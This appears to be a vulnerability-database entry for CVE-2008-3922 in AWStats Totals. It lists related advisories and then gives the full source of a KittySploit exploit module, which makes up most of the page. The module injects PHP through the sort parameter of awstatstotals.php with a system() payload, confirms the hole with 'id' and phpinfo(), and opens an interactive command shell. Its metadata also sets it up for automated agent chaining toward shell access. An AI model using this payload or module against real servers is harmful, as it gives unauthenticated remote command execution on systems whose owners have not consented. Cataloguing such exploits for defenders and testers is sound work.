AWStats Totals - sort Parameter RCE (CVE-2008-3922)
| Reporter | Title | Published | Views | Family All 18 |
|---|---|---|---|---|
| AWStats Totals =< v1.14 multisort Remote Command Execution | 25 May 201100:00 | – | zdt | |
| AWStats Totals awstatstotals.php multisort() Function sort Parameter Arbitrary PHP Code Execution | 27 Aug 200800:00 | – | nessus | |
| CVE-2008-3922 | 5 Sep 200800:00 | – | circl | |
| AWStats Totals awstatstotals.php sort Parameter Code Execution (CVE-2008-3922) | 3 Apr 201600:00 | – | checkpoint_advisories | |
| CVE-2008-3922 | 4 Sep 200818:00 | – | cve | |
| CVE-2008-3922 | 4 Sep 200818:00 | – | cvelist | |
| Awstats Totals <= 1.14 RCE | 26 Jan 201200:00 | – | dsquare | |
| AWStats Totals 1.14 multisort - Remote Command Execution (Metasploit) | 25 May 201100:00 | – | exploitdb | |
| AWStats Totals 1.14 - 'AWStatstotals.php' Remote Code Execution | 5 Sep 200800:00 | – | exploitdb | |
| AWStats Totals - sort Parameter RCE Detection (CVE-2008-3922) | 10 Aug 202606:19 | – | kittysploit |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""AWStats Totals sort parameter RCE (CVE-2008-3922)."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'AWStats Totals - sort Parameter RCE (CVE-2008-3922)',
'description': (
'Exploits CVE-2008-3922 by injecting PHP into the sort parameter of '
'awstatstotals.php. Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2008-3922'],
'platform': Platform.PHP,
'payload': {'default': 'nopayload'},
'references': ['https://nvd.nist.gov/vuln/detail/CVE-2008-3922'],
'tags': ['awstats', 'rce', 'unauth', 'cve-2008-3922'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/cve_2008_3922_detect'],
},
},
}
base_path = OptString('', 'Base path containing awstatstotals.php', required=False)
def execute(self, cmd: str) -> str:
base = str(self.base_path or '').rstrip('/')
safe = str(cmd).replace("'", "\\'")
path = f'{base}/awstatstotals.php?sort="].system(\'{safe}\').exit().%24a["'
r = self.http_request(method='GET', path=path, allow_redirects=False)
return (r.text or '') if r else ''
def handler_execute(self):
out = self.execute('id')
if not out or 'uid=' not in out:
base = str(self.base_path or '').rstrip('/')
path = f'{base}/awstatstotals.php?sort="].phpinfo().exit().%24a["'
r = self.http_request(method='GET', path=path, allow_redirects=False)
if not r or '<title>phpinfo()' not in (r.text or ''):
print_error('Target does not appear vulnerable to CVE-2008-3922')
return False
print_success('AWStats Totals RCE confirmed')
self.handler_console()
return True
def run(self):
return self.handler_execute()
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10 Aug 2026 06:19Current
8.6High risk
Vulners AI Score8.6
CVSS 29.3
EPSS0.53202